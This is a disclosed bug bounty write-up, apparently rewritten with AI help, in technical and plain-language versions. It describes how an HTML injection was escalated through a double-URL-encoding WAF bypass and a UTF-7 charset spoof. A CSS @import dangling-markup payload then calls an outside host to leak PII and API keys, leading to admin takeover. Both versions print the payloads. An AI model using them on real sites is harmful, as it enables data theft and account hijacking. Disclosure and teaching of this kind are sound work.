Skip to content
XSS Write-up Advanced

BBP Writeup Series #1 – Turning “useless” HTMLi on [REDACTED] into a P1

A reflected HTML injection parameter was escalated by bypassing a WAF with double URL encoding and spoofing the page charset to UTF-7, then using a CSS @import dangling markup injection to leak PII and API keys from user and admin dashboards. Leaked admin API keys allowed obtaining a JWT and taking over admin accounts.

MLT Follow

Published on 0x80dotblog.wordpress.com

Before we begin, my apologies for my extended hiatus. Things have been very hectic lately both IRL and online.. however I am now back and will be working on this new series of blog posts (alongside finishing off some of my other series which haven’t yet concluded).

MLT (@0dayWizard), on 0x80dotblog.wordpress.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

Context

This is the first entry in a series of write-ups covering bug bounty reports the author has submitted over the years. The target is a private program, referred to throughout only as [REDACTED], so the platform, product name and exact endpoints are not disclosed. What the report does describe is the shape of the application: think of it as a social media platform where users can post status updates, post and reply to comments, and create a profile with an avatar. Profiles also have a "developer mode" option in their settings.

The vulnerable feature is a parameter that reflects user input back into the page. The same parameter is used to post comments. When a payload is submitted as a comment on someone's status, the comment itself renders as plaintext and looks harmless. The same comment is, however, rendered as HTML in other places, most importantly in the "recent activity" feed on a user's profile dashboard. That feed shows the most recent 35 posts, comments and similar items. The same recent activity feed also exists in the admin dashboard, and admin accounts have developer mode enabled by default.

The report was published on 2023-08-07 and the bug was accepted as a P1.

Setup

No tooling, versions or account setup are described beyond the following preconditions, all of which applied to the target:

  1. Regular HTML injection was explicitly out of scope for the program.
  2. A WAF blocked attempts at HTML injection and at XSS.
  3. A well-written CSP was in place, so even a WAF bypass would have to get past a near-solid CSP.
  4. The x-frame-options HTTP response header was set to DENY, ruling out iframe-based escalation.
  5. The developers applied their own input validation on top of the WAF.
  6. The program had confirmed that, because HTML injection is out of scope, so is spear-phishing via a fake login page built from injected HTML. To be eligible for a bounty the researcher needed JavaScript execution, a PII leak, or some other demonstrable impact.

The WAF blacklisted the following:

  • Opening and closing characters for HTML tags (for example < and >).
  • All known JavaScript event handlers.
  • Specific HTML attributes such as src= and href=.
  • Specific HTML tags (script, img, base, and others).
  • The strings alert, prompt, eval, confirm, fetch and others.

The application's own input validation did the following:

  • Any whitespace detected in the input was stripped via some sort of string replacement function.
  • Inputs containing single or double quotes were escaped with a backslash.
  • Something similar to htmlentities() or htmlspecialchars() was applied, but it appeared to be a custom implementation.

Finding it

With a reflection point in hand, the first goal was to bypass the WAF far enough to get HTML tags injected. The initial attempt was to get the opening and closing characters for HTML tags into the page by reflecting escape sequences such as \u0003c into the parameter. This was reflected back as-is rather than as <. A number of other HTML character escape sequences were tried, none of which worked.

The next attempt was simple URL encoding: the URL-encoded values for < and > were submitted, and did not work. The value was then submitted as %5c%75%30%30%30%33%63, the URL-encoded form of \u0003c. The application decoded the URL-encoded value but then reflected back \u0003c rather than <.

At that point the researcher nearly gave up, but considered double URL encoding almost as an afterthought, expecting it to have next to no chance of working. The already URL-encoded value for \u0003c was encoded a second time and passed as the parameter input, and the HTML tags were successfully injected into the page.

The chain, as the report breaks it down:

  1. Reflection point identified.
  2. WAF blocking characters for opening and closing HTML tags.
  3. The \u0003c value for the opening < character is URL encoded to %5c%75%30%30%30%33%63.
  4. That URL-encoded value is encoded once again, to %25%35%63%25%37%35%25%33%30%25%33%30%25%33%30%25%33%33%25%36%33.
  5. The payload is input into the parameter.
  6. The URL-encoded value gets decoded.
  7. The value gets decoded again.
  8. Rather than seeing \u0003c reflected, < is reflected.
  9. The same process is followed with \u003e (the value for the closing > character) to inject HTML tags.

The author notes being genuinely confused about why double URL encoding causes the value to be rendered as <, and asks readers to explain it. The report does not explain why double URL encoding causes the value to be rendered as <; the author says it must relate to how this particular target handles encodings. The report itself only states that it works and that it must relate to the way this particular target handles encodings.

Exploitation

Step 1: WAF bypass for HTML injection

Using the double-encoding process above, the following payload injects <h1>hi</h1> into the page:

Text
%25%35%63%25%37%35%25%33%30%25%33%30%25%33%30%25%33%33%25%36%33h1%25%35%63%25%37%35%25%33%30%25%33%30%25%33%30%25%33%33%25%36%35hi
 %25%35%63%25%37%35%25%33%30%25%33%30%25%33%30%25%33%33%25%36%33/h1%25%35%63%25%37%35%25%33%30%25%33%30%25%33%30%25%33%33%25%36%35

When passed to the parameter, the double URL encoding is decoded and the \u0003c is interpreted as <. The same technique, and several variations of it, was then tried to inject an event handler. Every attempt resulted in a WAF response, so XSS remained out of reach.

Step 2: Assessing what the HTML injection can reach

The HTML injection is described as somewhere between non-persistent and stored, and as both blind and not blind. A payload posted as a comment on someone's status renders as plaintext in the reply itself. It does, however, render as HTML in the "recent activity" feed on the profile dashboard of the person whose status was replied to. The payload stays in that feed until enough new activity has pushed it out: the feed shows the most recent 35 posts, comments and similar items, so the payload persists until another 35 items have been posted on the target's feed. The same recent activity feed is present in the admin dashboard, not only in regular user dashboards.

The page containing the feed also contains PII of users, including names, addresses, email addresses, phone numbers and private API keys, which made a PII leak a plausible escalation path.

Step 3: Failed escalation attempts

The following approaches were attempted and none of them worked:

  • HTMLi => Dangling Markup Injection => Leaked PII
  • HTMLi => CSS Injection => Leaked PII
  • HTMLi => DOM Clobbering => DOM-Based XSS

One observation kept the effort alive: in the CSP, the style-src directive was not bulletproof like the rest of the policy.

Step 4: Spoofed charset, UTF-7 and CSS @import

The final approach combined several techniques:

  • HTMLi => Spoofed Charset via Meta tag => UTF-7 Injected CSSi Payload => CSS @import abuse to trigger dangling markup injection => Leaked PII

The payload used was:

Text
%25%35%63%25%37%35%25%33%30%25%33%30%25%33%30%25%33%33%25%36%33meta/charset=UTF-7%25%35%63%25%37%35%25%33%30%25%33%30%25%33%30%25%33%33%25%36%35
 +ADw-style+AD4-@import//mlt.lol/pwn?

Breaking it down, as the report does:

  1. The payload starts with the double URL-encoded value for \u0003c, bypassing the WAF restriction on the opening < character.
  2. Via the HTML injection WAF bypass, a meta tag is injected to spoof the page's charset to UTF-7. The target was lacking the HTTP response headers required to prevent this.
  3. Because whitespace is stripped, a forward slash is used instead of a space where the space would normally sit in the meta tag, before the charset attribute.
  4. Because single and double quotes are escaped with a backslash, the UTF-7 attribute is specified without quotes. Leaving out the quotes is not the proper way to format HTML tags, but browsers still treat it as valid HTML and interpret it as such.
  5. The double URL-encoded value for \u0003e is injected to bypass the WAF and close the meta tag with >.
  6. With the charset spoofed to UTF-7, the UTF-7 values for the opening style tag are injected, with +ADw- representing < and +AD4- representing >.
  7. Via CSS injection, an @import is used to craft a dangling markup payload. The tag is left open with no closing tag, and a ? is appended to the end of the host name. Everything in the page source between the reflection point and the next instance of ; is then leaked.

The PII (names, addresses, dates of birth, email addresses, phone numbers and API keys) happened to sit between the reflection point and the next ; character. The report notes this was only just the case: five or six more lines of code and only around 40% of that PII would have been leaked.

Step 5: From leaked API keys to admin account takeover

What leaks depends on the target's profile settings:

Target profile What leaks
Regular user, developer mode off Name, address, date of birth, phone, email
Regular user, developer mode on The above plus API keys
Admin The above plus API keys, since developer mode is enabled by default

The API keys leaked from an admin profile allowed calls to an API that only admins should be able to access. Via those admin API calls, a POST request could be made to an API "reauth" endpoint, which assigned a valid JWT. That JWT could then be used as an auth bearer token to authenticate to the admin dashboard, allowing an admin account to be hijacked, considerably more PII to be viewed, and some CRUD operations to be performed.

Root cause

The report does not describe the server-side code, so the root cause is only implied. The reflection point renders user input as HTML in the recent activity feed without adequate output encoding, and the layered defences each had a gap that combined into a full bypass:

  • The whitespace stripping and quote escaping were worked around by using a forward slash in place of a space and by omitting quotes entirely, which browsers accept.
  • The target was lacking the HTTP response headers required to prevent the meta tag from spoofing the charset to UTF-7.
  • The report notes that the CSP's style-src directive was not bulletproof like the rest of the policy.

Impact

An attacker who can post a comment replying to a target's status can have HTML injected into that target's recent activity feed, and into the admin dashboard's recent activity feed. For regular users without developer mode, this leaks name, address, date of birth, phone and email. For users with developer mode enabled, and for admins by default, it also leaks API keys. Admin API keys allow calls to admin-only API functionality, including a reauth endpoint that issues a valid JWT, which can be used as a bearer token against the admin dashboard. From there an attacker can hijack an admin account, view considerably more PII and perform some CRUD operations. The leak is bounded by the next ; in the page source and by the 35-item window of the recent activity feed. Because of the PII leaked and the potential for account takeover when the payload lands in an admin profile, the program accepted the report as a P1.

Fix

Based on the gaps it describes, the fixes would be: context-aware output encoding of the reflected value in the recent activity feed so that it can never be interpreted as markup; sending the HTTP response headers that prevent charset spoofing via meta tags; and tightening the style-src directive so that injected CSS cannot be used for @import-based dangling markup.

Variants to test

  1. Double URL encoding against reflection points behind a WAF. Submit a single-encoded escape sequence first, then the double-encoded form. A positive result is the single-encoded form being blocked or reflected literally while the double-encoded form renders as the intended character.
  2. Escape sequences for tag delimiters. Try \u0003c and \u003e (and other HTML character escape sequences) where < and > are filtered. A positive result is the sequence being interpreted as the delimiter rather than reflected as text.
  3. Charset spoofing via meta tag. Inject a meta tag setting the charset to UTF-7 where response headers do not pin the charset. A positive result is UTF-7 encoded markup (+ADw-, +AD4-) being interpreted as tags.
  4. Whitespace and quote workarounds. Where whitespace is stripped, use a forward slash in place of a space; where quotes are escaped, omit them. A positive result is a valid tag being parsed without either.
  5. CSS @import dangling markup. With CSS injection available, inject an @import pointing at a host you control with a ? appended and no closing tag. A positive result is a request to your host containing page source up to the next ;.
  6. Blind reflection in secondary views. Post a payload in a comment or reply and check other views of the same data, such as activity feeds and dashboards. A positive result is the payload rendering as HTML in a view other than the one it was submitted through.
  7. Developer mode and admin defaults. Check whether privileged profiles expose additional secrets, such as API keys, in pages reachable by the injection. A positive result is a key that grants access to privileged API functionality.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 21 min read.

What happened, in plain words

A security researcher found a way to make a website display content that the website's own protections were supposed to block. The website was a social media style platform: people could post status updates, reply to comments, and have a profile with an avatar. The researcher could post a comment containing specially crafted text, and that text would later appear, not as plain text, but as real web page code, inside a part of the site called the "recent activity" feed. That feed is shown on a user's profile dashboard, and also on the admin dashboard.

On its own, that trick (called HTML injection) was explicitly out of scope for the bug bounty program, meaning the program would not pay for it. So the researcher had to turn it into something bigger. The page that showed the feed also contained personal information about users: names, addresses, dates of birth, email addresses, phone numbers, and private API keys. If the researcher could make the page send that information to a server they controlled, that would be a serious data leak. After several failed attempts, they found a chain of tricks that did exactly that, and in the case of admin accounts it went further: the leaked API keys allowed them to obtain a login token for the admin dashboard and effectively take over an admin account. The program accepted the report as a P1.

The report was published on 2023-08-07. The target is a private program, referred to only as [REDACTED], so the platform name, product name and exact addresses of its pages are not disclosed.

The starting situation

Before any of the clever parts, it helps to understand what the researcher was up against. A few terms first, because they come up constantly.

  • A parameter is a named slot in a web request where a value is sent. When you fill in a search box and press enter, your words travel to the server as a parameter. If the site takes that value and prints it back into the page, that is called a reflection point.
  • A WAF (Web Application Firewall) is a filter that sits in front of a website and inspects incoming requests. Think of it as a bouncer at a door who checks a list of banned words and turns away anyone carrying them.
  • HTML is the language web pages are written in. It uses angle brackets to mark up content, for example <h1>hi</h1> means "a big heading saying hi". The < and > characters are the delimiters that tell a browser "a tag starts here" and "a tag ends here".
  • XSS (Cross-Site Scripting) is when an attacker gets their own JavaScript code to run inside another person's browser session on a website. JavaScript is the programming language browsers run, and it can read page content and send it elsewhere, which is why XSS is dangerous.
  • A CSP (Content Security Policy) is a set of rules a website sends to the browser saying which sources of code and styles are allowed. It is a second line of defence: even if an attacker gets code into the page, the browser refuses to run it unless the policy permits it.
  • An HTTP response header is a small piece of metadata a server sends alongside a page. Headers can say things like "do not show this page inside a frame on another site".
  • An iframe is a web page embedded inside another web page, like a picture frame hanging on a wall.
  • Input validation is the site's own checking of what users send, separate from the WAF.
  • PII stands for Personally Identifiable Information: data that identifies a real person, such as a name, address, date of birth, email or phone number.
  • An API is a way for one piece of software to talk to another over the network, usually by sending a request to a specific address and getting structured data back. Think of it as a service counter: you hand over a request in a known format and get an answer back.
  • An API key is a secret string that proves to the API who is calling. Like a membership card: whoever holds it is treated as the member.
  • A JWT (JSON Web Token) is a signed token that a server issues after you authenticate, and that you then present on later requests to prove you are still you. Like a wristband given at the door of an event.
  • CRUD stands for Create, Read, Update, Delete: the four basic operations on stored data.

The researcher listed the restrictions they faced:

  1. Regular HTML injection was explicitly out of scope for the program.
  2. A WAF blocked attempts at HTML injection and at XSS.
  3. A well-written CSP was in place, so even a WAF bypass would have to get past a near-solid CSP.
  4. The x-frame-options HTTP response header was set to DENY, ruling out iframe-based escalation.
  5. The developers applied their own input validation on top of the WAF.
  6. The program had confirmed that, because HTML injection is out of scope, so is spear-phishing via a fake login page built from injected HTML. To be eligible for a bounty the researcher needed JavaScript execution, a PII leak, or some other demonstrable impact.

The WAF blacklisted the following:

  • Opening and closing characters for HTML tags (for example < and >).
  • All known JavaScript event handlers.
  • Specific HTML attributes such as src= and href=.
  • Specific HTML tags (script, img, base, and others).
  • The strings alert, prompt, eval, confirm, fetch and others.

The application's own input validation did the following:

  • Any whitespace detected in the input was stripped via some sort of string replacement function.
  • Inputs containing single or double quotes were escaped with a backslash.
  • Something similar to htmlentities() or htmlspecialchars() was applied, but it appeared to be a custom implementation.

In plain terms: the bouncer banned the characters that start and end tags, the site itself removed spaces and put backslashes in front of quotes, and a policy in the browser would stop most scripts anyway. The researcher's job was to find a gap between these layers.

Finding the way in

With a reflection point in hand, the first goal was to bypass the WAF far enough to get HTML tags injected. The initial attempt was to get the opening and closing characters for HTML tags into the page by reflecting escape sequences such as \u0003c into the parameter. This was reflected back as-is rather than as <. A number of other HTML character escape sequences were tried, none of which worked.

An escape sequence here means a written-out code for a character, rather than the character itself. \u0003c is a way of writing the character < in some programming contexts. The idea was: if the WAF blocks the literal <, maybe it will let through a coded form that the page later turns into <. It did not: the page printed the code back as text.

The next attempt was simple URL encoding: the URL-encoded values for < and > were submitted, and did not work. The value was then submitted as %5c%75%30%30%30%33%63, the URL-encoded form of \u0003c. The application decoded the URL-encoded value but then reflected back \u0003c rather than <.

URL encoding is the way special characters are written inside web addresses and form values. A space becomes %20, and so on. The server decodes these before using the value. Here the server decoded once, but then printed the escape sequence as text instead of turning it into a real <.

At that point the researcher nearly gave up, but considered double URL encoding almost as an afterthought, expecting it to have next to no chance of working. The already URL-encoded value for \u0003c was encoded a second time and passed as the parameter input, and the HTML tags were successfully injected into the page.

Double URL encoding means encoding the encoded form: the % signs themselves get encoded as %25, so the server has to decode twice to get back to the original.

The chain, as the report breaks it down:

  1. Reflection point identified.
  2. WAF blocking characters for opening and closing HTML tags.
  3. The \u0003c value for the opening < character is URL encoded to %5c%75%30%30%30%33%63.
  4. That URL-encoded value is encoded once again, to %25%35%63%25%37%35%25%33%30%25%33%30%25%33%30%25%33%33%25%36%33.
  5. The payload is input into the parameter.
  6. The URL-encoded value gets decoded.
  7. The value gets decoded again.
  8. Rather than seeing \u0003c reflected, < is reflected.
  9. The same process is followed with \u003e (the value for the closing > character) to inject HTML tags.

The author notes being genuinely confused about why double URL encoding causes the value to be rendered as <, and asks readers to explain it. The report does not explain why double URL encoding causes the value to be rendered as <; the author says it must relate to how this particular target handles encodings. The report itself only states that it works and that it must relate to the way this particular target handles encodings.

Turning the bypass into something useful

Step 1: WAF bypass for HTML injection

Using the double-encoding process above, the following payload injects <h1>hi</h1> into the page:

Text
%25%35%63%25%37%35%25%33%30%25%33%30%25%33%30%25%33%33%25%36%33h1%25%35%63%25%37%35%25%33%30%25%33%30%25%33%30%25%33%33%25%36%35hi
 %25%35%63%25%37%35%25%33%30%25%33%30%25%33%30%25%33%33%25%36%33/h1%25%35%63%25%37%35%25%33%30%25%33%30%25%33%30%25%33%33%25%36%35

Line by line, in plain words:

  • The first long block is the double-encoded form of <, followed by the text h1. Together, after decoding, that becomes <h1, the opening of a big heading tag.
  • Then comes the double-encoded form of >, which closes the opening tag.
  • Then the word hi, which is the visible content of the heading.
  • Then the double-encoded < again, followed by /h1, which after decoding becomes </h1>, the closing tag.
  • Then the double-encoded > again.

So the browser receives a normal heading tag saying "hi". The WAF never saw a literal < or > because they were hidden inside two layers of encoding.

When passed to the parameter, the double URL encoding is decoded and the \u0003c is interpreted as <. The same technique, and several variations of it, was then tried to inject an event handler. Every attempt resulted in a WAF response, so XSS remained out of reach.

An event handler is an attribute on an HTML tag that tells the browser to run some JavaScript when something happens, for example when the page loads or when the mouse moves over an element. If the researcher could inject one, they would have XSS. The WAF blocked every attempt.

Step 2: Assessing what the HTML injection can reach

The HTML injection is described as somewhere between non-persistent and stored, and as both blind and not blind. A payload posted as a comment on someone's status renders as plaintext in the reply itself. It does, however, render as HTML in the "recent activity" feed on the profile dashboard of the person whose status was replied to. The payload stays in that feed until enough new activity has pushed it out: the feed shows the most recent 35 posts, comments and similar items, so the payload persists until another 35 items have been posted on the target's feed. The same recent activity feed is present in the admin dashboard, not only in regular user dashboards.

A few terms here:

  • Non-persistent (also called reflected) means the injected content appears only in the immediate response to your own request and is not saved. Stored (persistent) means the site saves it and shows it to other people later. This bug is in between: the comment is saved, but it only shows as HTML in a secondary view, and only until it is pushed out of that view.
  • Blind means you cannot see the result yourself; it appears to someone else, in their view of the site. Here the researcher could see their own comment as plain text, but the HTML rendering happened in the target's feed.

The page containing the feed also contains PII of users, including names, addresses, email addresses, phone numbers and private API keys, which made a PII leak a plausible escalation path.

Escalation means taking a low-impact finding and chaining it with other weaknesses to produce a higher-impact result. The program would not pay for HTML injection alone, but it would pay for a leak of personal data.

Step 3: Failed escalation attempts

The following approaches were attempted and none of them worked:

  • HTMLi => Dangling Markup Injection => Leaked PII
  • HTMLi => CSS Injection => Leaked PII
  • HTMLi => DOM Clobbering => DOM-Based XSS

What those mean:

  • Dangling markup injection is a trick where you inject an opening tag that is never closed, so the browser treats everything after it as part of the tag's attributes. If one of those attributes points at a server you control, the browser sends the following page content to you when it tries to load the resource.
  • CSS injection is getting your own style rules into a page. CSS is the language that controls how a page looks. It can also load external resources, which is useful for leaking data.
  • DOM clobbering is a trick where injected HTML changes the page's internal structure in a way that confuses the site's own JavaScript, sometimes leading to script execution. The DOM is the browser's in-memory model of the page.

One observation kept the effort alive: in the CSP, the style-src directive was not bulletproof like the rest of the policy.

A CSP directive is one line of the policy, each covering a category of resource. style-src says where stylesheets may come from. If that one line is weaker than the others, CSS is the way in.

Step 4: Spoofed charset, UTF-7 and CSS @import

The final approach combined several techniques:

  • HTMLi => Spoofed Charset via Meta tag => UTF-7 Injected CSSi Payload => CSS @import abuse to trigger dangling markup injection => Leaked PII

Some background before the payload:

  • A charset is the rulebook a browser uses to turn bytes into characters. If the rulebook is wrong, the same bytes mean different things.
  • UTF-7 is an old charset in which some characters are written as sequences starting with + and ending with -. In UTF-7, +ADw- means < and +AD4- means >. Because those sequences contain no angle brackets, a WAF that blocks < and > will not notice them.
  • A meta tag is an HTML tag placed in the page's head that gives the browser information about the page, including which charset to use. If the server does not pin the charset with an HTTP header, a meta tag can change it.
  • @import is a CSS instruction that tells the browser to load another stylesheet from a given address. If you can inject CSS, you can make the browser fetch a file from a server you control.

The payload used was:

Text
%25%35%63%25%37%35%25%33%30%25%33%30%25%33%30%25%33%33%25%36%33meta/charset=UTF-7%25%35%63%25%37%35%25%33%30%25%33%30%25%33%30%25%33%33%25%36%35
 +ADw-style+AD4-@import//mlt.lol/pwn?

Breaking it down, as the report does:

  1. The payload starts with the double URL-encoded value for \u0003c, bypassing the WAF restriction on the opening < character.
  2. Via the HTML injection WAF bypass, a meta tag is injected to spoof the page's charset to UTF-7. The target was lacking the HTTP response headers required to prevent this.
  3. Because whitespace is stripped, a forward slash is used instead of a space where the space would normally sit in the meta tag, before the charset attribute.
  4. Because single and double quotes are escaped with a backslash, the UTF-7 attribute is specified without quotes. Leaving out the quotes is not the proper way to format HTML tags, but browsers still treat it as valid HTML and interpret it as such.
  5. The double URL-encoded value for \u0003e is injected to bypass the WAF and close the meta tag with >.
  6. With the charset spoofed to UTF-7, the UTF-7 values for the opening style tag are injected, with +ADw- representing < and +AD4- representing >.
  7. Via CSS injection, an @import is used to craft a dangling markup payload. The tag is left open with no closing tag, and a ? is appended to the end of the host name. Everything in the page source between the reflection point and the next instance of ; is then leaked.

In plain words, the payload does this:

  • The first block is the double-encoded <, so the WAF lets it through and the page decodes it into a real <.
  • Then meta/charset=UTF-7 builds a meta tag that tells the browser to switch to UTF-7. The slash stands in for the space that would normally separate meta from charset, because spaces are stripped.
  • The next block is the double-encoded >, closing the meta tag.
  • Then +ADw-style+AD4- is UTF-7 for <style>, opening a style block. The WAF does not see angle brackets, so it does not block it.
  • Then @import//mlt.lol/pwn? tells the browser to load a stylesheet from the researcher's server, with a ? at the end and no closing quote or tag. Because the tag is never closed, the browser keeps reading the rest of the page as part of that address, and sends it to the researcher's server when it makes the request. That is the dangling markup leak.

The PII (names, addresses, dates of birth, email addresses, phone numbers and API keys) happened to sit between the reflection point and the next ; character. The report notes this was only just the case: five or six more lines of code and only around 40% of that PII would have been leaked.

Step 5: From leaked API keys to admin account takeover

What leaks depends on the target's profile settings:

Target profile What leaks
Regular user, developer mode off Name, address, date of birth, phone, email
Regular user, developer mode on The above plus API keys
Admin The above plus API keys, since developer mode is enabled by default

The API keys leaked from an admin profile allowed calls to an API that only admins should be able to access. Via those admin API calls, a POST request could be made to an API "reauth" endpoint, which assigned a valid JWT. That JWT could then be used as an auth bearer token to authenticate to the admin dashboard, allowing an admin account to be hijacked, considerably more PII to be viewed, and some CRUD operations to be performed.

A POST request is one of the standard ways to send data to a server, as opposed to a GET request which just asks for a page. A reauth endpoint is an API address that, when called, checks your credentials again and issues a fresh token. An auth bearer token is a token you attach to requests to prove who you are, like showing a wristband at each door. With an admin's API key, the researcher could call the reauth endpoint, receive a JWT, and use it to log into the admin dashboard as that admin.

Why it worked

The report does not describe the server-side code, so the root cause is only implied. The reflection point renders user input as HTML in the recent activity feed without adequate output encoding, and the layered defences each had a gap that combined into a full bypass:

  • The whitespace stripping and quote escaping were worked around by using a forward slash in place of a space and by omitting quotes entirely, which browsers accept.
  • The target was lacking the HTTP response headers required to prevent the meta tag from spoofing the charset to UTF-7.
  • The report notes that the CSP's style-src directive was not bulletproof like the rest of the policy.

Output encoding means converting data before printing it into a page so that it is treated as text, not as code. If the feed had encoded the comment properly, the < would have been shown as text and nothing would have executed.

What the impact was

An attacker who can post a comment replying to a target's status can have HTML injected into that target's recent activity feed, and into the admin dashboard's recent activity feed. For regular users without developer mode, this leaks name, address, date of birth, phone and email. For users with developer mode enabled, and for admins by default, it also leaks API keys. Admin API keys allow calls to admin-only API functionality, including a reauth endpoint that issues a valid JWT, which can be used as a bearer token against the admin dashboard. From there an attacker can hijack an admin account, view considerably more PII and perform some CRUD operations. The leak is bounded by the next ; in the page source and by the 35-item window of the recent activity feed. Because of the PII leaked and the potential for account takeover when the payload lands in an admin profile, the program accepted the report as a P1.

What would fix it

Based on the gaps it describes, the fixes would be: context-aware output encoding of the reflected value in the recent activity feed so that it can never be interpreted as markup; sending the HTTP response headers that prevent charset spoofing via meta tags; and tightening the style-src directive so that injected CSS cannot be used for @import-based dangling markup.

Things to try on other targets

  1. Double URL encoding against reflection points behind a WAF. Submit a single-encoded escape sequence first, then the double-encoded form. A positive result is the single-encoded form being blocked or reflected literally while the double-encoded form renders as the intended character.
  2. Escape sequences for tag delimiters. Try \u0003c and \u003e (and other HTML character escape sequences) where < and > are filtered. A positive result is the sequence being interpreted as the delimiter rather than reflected as text.
  3. Charset spoofing via meta tag. Inject a meta tag setting the charset to UTF-7 where response headers do not pin the charset. A positive result is UTF-7 encoded markup (+ADw-, +AD4-) being interpreted as tags.
  4. Whitespace and quote workarounds. Where whitespace is stripped, use a forward slash in place of a space; where quotes are escaped, omit them. A positive result is a valid tag being parsed without either.
  5. CSS @import dangling markup. With CSS injection available, inject an @import pointing at a host you control with a ? appended and no closing tag. A positive result is a request to your host containing page source up to the next ;.
  6. Blind reflection in secondary views. Post a payload in a comment or reply and check other views of the same data, such as activity feeds and dashboards. A positive result is the payload rendering as HTML in a view other than the one it was submitted through.
  7. Developer mode and admin defaults. Check whether privileged profiles expose additional secrets, such as API keys, in pages reachable by the injection. A positive result is a key that grants access to privileged API functionality.

Glossary

  • API: a way for software to talk to other software over a network, usually by sending a request to a specific address and receiving structured data back.
  • API key: a secret string that proves to an API who is calling, like a membership card.
  • Auth bearer token: a token attached to requests to prove identity, like a wristband shown at each door.
  • Blind: a vulnerability where the result is not visible to the person who triggered it, but appears in someone else's view.
  • Charset: the rulebook a browser uses to turn bytes into characters.
  • CRUD: Create, Read, Update, Delete, the four basic operations on stored data.
  • CSP (Content Security Policy): a set of rules a site sends to the browser saying which sources of code and styles are allowed.
  • CSS: the language that controls how a web page looks.
  • CSS injection: getting your own style rules into a page.
  • Dangling markup injection: injecting an opening tag that is never closed, so the browser treats following page content as part of the tag and can send it to an attacker-controlled server.
  • DOM: the browser's in-memory model of the page.
  • DOM clobbering: injecting HTML that changes the page's internal structure in a way that confuses the site's own JavaScript.
  • Double URL encoding: encoding an already URL-encoded value, so the % signs themselves become %25 and the server must decode twice.
  • Escape sequence: a written-out code for a character, such as \u0003c for <.
  • Event handler: an HTML attribute that tells the browser to run JavaScript when something happens, such as a page load or a mouse movement.
  • HTML: the language web pages are written in, using angle brackets to mark up content.
  • HTML injection (HTMLi): getting your own HTML into a page that should only show your input as text.
  • HTTP response header: metadata a server sends alongside a page, such as rules about framing or charset.
  • Iframe: a web page embedded inside another web page.
  • Input validation: the site's own checking of what users send.
  • JWT (JSON Web Token): a signed token issued after authentication and presented on later requests to prove identity.
  • Meta tag: an HTML tag in the page's head that gives the browser information about the page, including the charset.
  • Non-persistent (reflected): injected content that appears only in the immediate response and is not saved.
  • Output encoding: converting data before printing it into a page so it is treated as text, not code.
  • Parameter: a named slot in a web request where a value is sent.
  • PII (Personally Identifiable Information): data that identifies a real person, such as name, address, date of birth, email or phone.
  • POST request: a standard way to send data to a server, as opposed to a GET request which asks for a page.
  • Reauth endpoint: an API address that checks credentials again and issues a fresh token.
  • Reflection point: a place where the site takes a value you sent and prints it back into the page.
  • Stored (persistent): injected content that the site saves and shows to other people later.
  • URL encoding: the way special characters are written inside web addresses and form values, such as %20 for a space.
  • UTF-7: an old charset in which some characters are written as sequences starting with + and ending with -, such as +ADw- for <.
  • WAF (Web Application Firewall): a filter in front of a website that inspects incoming requests and blocks ones matching banned patterns.
  • XSS (Cross-Site Scripting): getting your own JavaScript to run inside another person's browser session on a website.

More by MLT

View all

1 more disclosed report, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.